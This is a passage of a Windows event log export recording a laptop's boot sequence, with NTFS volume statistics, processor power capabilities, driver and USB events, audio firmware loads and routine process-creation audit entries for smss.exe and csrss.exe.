0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.383\t98\tVolume \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802} (\\Device\\HarddiskVolume6) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.383\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 1\n           Longest run cached: 9.04 GB\n           Most populated bin Count: 1\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.414\t55\t\"Processor 0 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.416\t55\t\"Processor 1 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.419\t24\tThe time zone information was refreshed with exit reason 0. Current time zone bias is -420.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:50.430\t55\t\"Processor 14 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.432\t55\t\"Processor 15 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.435\t55\t\"Processor 16 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 2500\nMaximum performance percentage: 100\nMinimum performance percentage: 44\nMinimum throttle percentage: 4\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.506\t4\t\"Flags [1126312223703044] were applied to device [USBXHCI:ALL] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.506\t4\t\"Flags [1126312223703044] were applied to device [USBXHCI:ALL] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.506\t4\t\"Flags [7206885442550497440] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.506\t4\t\"Flags [7206885442550497440] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.510\t4\t\"Flags [2181300322] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.510\t4\t\"Flags [1048576] were applied to device [USBXHCI:PCI\\VEN_8086&DEV_7E7D] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.510\t4\t\"Flags [2181300322] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.510\t4\t\"Flags [5242880] were applied to device [USBXHCI:PCI\\VEN_8086&DEV_7EC0] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.520\t7005\t7005 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.520\t7002\t7002 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.544\t55\t\"Processor 17 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 2500\nMaximum performance percentage: 100\nMinimum performance percentage: 44\nMinimum throttle percentage: 4\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.630\t7010\t7010 - Wi-Fi Driver Enabled\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.725\t7017\t7017 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.737\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x4b0\n\tNew Process Name:\tC:\\Windows\\System32\\smss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x3d0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:50.816\t521\tActive battery count change.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:28:50.817\t521\tActive battery count change.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:28:50.833\t1\t[PDO] (0x0000.0x15.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.833\t1\t[PDO] (0x0000.0x15.0x01): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.834\t1\t[PDO] (0x0000.0x1f.0x03): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.866\t1\t[PDO] (0x0000.0x15.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.866\t1\t[PDO] (0x0000.0x15.0x01): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.866\t1\t[PDO] (0x0000.0x1f.0x03): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:51.002\t29\tFX module is not supported in BIOS:  {bd99c961-c94e-49ce-b543-278c3fb63dfc} from \\??\\C:\\Windows\\System32\\DriverStore\\FileRepository\\intcoed_oemlibpath.inf_amd64_9a2d872508d0a9f2\\mtl_dtspp_2inst_lib.bin.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.002\t28\tLibrary is not supported in BIOS: \\??\\C:\\Windows\\System32\\DriverStore\\FileRepository\\intcoed_oemlibpath.inf_amd64_9a2d872508d0a9f2\\mtl_dtspp_2inst_lib.bin, status = The request is not supported..\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.189\t28\tLoaded DSP FW library: Libs\\dsp_lib_asrc_mtl_release.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.221\t28\tLoaded DSP FW library: Libs\\dsp_lib_intel_wov_mtl_release.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.242\t28\tLoaded DSP FW library: Libs\\dsp_lib_nld_mtl_release.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.276\t28\tLoaded DSP FW library: Libs\\dsp_lib_whm_mtl_release.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.327\t28\tLoaded DSP FW library: \\??\\C:\\Windows\\System32\\DriverStore\\FileRepository\\intcoed_oemlibpath.inf_amd64_9a2d872508d0a9f2\\mtl_nahimic_2inst_lib.bin, status = STATUS_SUCCESS.\tInformation\tSystem\tIntel-SST-OED\n05.09.2026 08:28:51.331\t10118\tUMDF reflector is unable to connect to service control manager (SCM). This is expected during boot, when SCM has not started yet. Will retry when it starts.\tInformation\tSystem\tMicrosoft-Windows-DriverFrameworks-UserMode\n05.09.2026 08:28:51.331\t219\t\"The driver \\Driver\\WUDFRd failed to load.\nDevice: INTELAUDIO\\DIF_0000&UIF_0000&CTLR_DEV_7E28&VEN_8086&DetectionVerification\\5&4672bc9&0&DIF_0000&UIF_0000\nStatus: 0xC0000365\"\tWarning\tSystem\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:53.844\t1006\tFor internal use only.\tInformation\tMicrosoft-Windows-Partition/Diagnostic\tMicrosoft-Windows-Partition\n05.09.2026 08:28:53.845\t207\t\"Physical disk {f721584f-c93a-4df4-f37c-1fcee53cc736} arrived.                  \nPool Id: {00000000-0000-0000-0000-000000000000}                  \nDrive Number: 1                  \nDrive Manufacturer: Seagate                  \nDrive Model Number: Backup+ SL                  \nDrive Serial Number: NA5161RS\"\tInformation\tMicrosoft-Windows-StorageSpaces-Driver/Operational\tMicrosoft-Windows-StorageSpaces-Driver\n05.09.2026 08:28:53.845\t1001\tVolume arrived: volume 8 disk 1 offset 32256.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:53.845\t1001\tVolume arrived: volume 9 disk 1 offset 214818619392.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:53.845\t1001\tVolume arrived: volume 10 disk 1 offset 916314914816.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:54.625\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 170.13 GB and 170.42 GB\n           Change in available space: 304.44 MB\n           \n           Available clusters were between: 44596390 and 44674326\n           Reserved clusters were between: 76613 and 76613\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 300 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Is boot volume: true\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 0\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.660\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 611.77 GB and 611.82 GB\n           Change in available space: 50.75 MB\n           \n           Available clusters were between: 160370489 and 160383479\n           Reserved clusters were between: 11920 and 11920\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 626.66 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 0\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.673\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 58.59 MB and 62.59 MB\n           Change in available space: 4 MB\n           \n           Available clusters were between: 14998 and 16022\n           Reserved clusters were between: 0 and 0\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 1024 MB\n           Bytes per cluster: 4096\n           \n           Volume guid: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 2\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.673\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 9.24 GB and 9.24 GB\n           Change in available space: 4 MB\n           \n           Available clusters were between: 2419681 and 2420705\n           Reserved clusters were between: 0 and 0\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 25 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 2\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 33325\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 10992\n           Longest run cached: 73.38 GB\n           Most populated bin Count: 3288\n           Most populated bin's minimum length: 16 KB\n           Most populated bin's maximum length: 16 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 13072\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 11\n           Longest run cached: 607.51 GB\n           Most populated bin Count: 3\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 50\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 2\n           Longest run cached: 32.05 MB\n           Most populated bin Count: 1\n           Most populated bin's minimum length: 30.01 MB\n           Most populated bin's maximum length: 31 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 842\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.674\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 2\n           Longest run cached: 9.04 GB\n           Most populated bin Count: 1\n           Most populated bin's minimum length: 192.01 MB\n           Most populated bin's maximum length: 200 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:54.888\t204\tStart of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.888\t227\tUsbVideo camera has valid configuration\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.888\t205\tStop of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.913\t206\tKS_WNF Register.\tInformation\tMicrosoft-Windows-KernelStreaming/Operational\tMicrosoft-Windows-KernelStreaming\n05.09.2026 08:28:54.914\t206\tStart of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.914\t207\tStop of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.914\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.914\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:54.927\t18\tWindows cannot store Bluetooth authentication codes (link keys) on the local adapter. Bluetooth keyboards might not work in the system BIOS during startup.\tInformation\tSystem\tBTHUSB\n05.09.2026 08:28:54.938\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-007e-000000000000}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.939\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-007e-000000000000}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.940\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-0000-300432000000}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.960\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-0000-300432000000}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.960\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:54.964\t10\tCrash dump disabled.\tInformation\tMicrosoft-Windows-Kernel-Dump/Operational\tMicrosoft-Windows-Kernel-Dump\n05.09.2026 08:28:54.991\t101\tInitialized VolumeCacheMap for device guid: {5285d7ae-0000-0000-007e-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:54.991\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:55.009\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x560\n\tNew Process Name:\tC:\\Windows\\System32\\csrss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4b0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:55.369\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Device number: 1\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Total mount duration: 398 ms\n           Longest stage: 8. Duration 177 ms (45% of the total)\n           Second longest stage: 7. Duration 94 ms (24% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.370\t98\tVolume E: (\\Device\\HarddiskVolume8) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:55.370\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           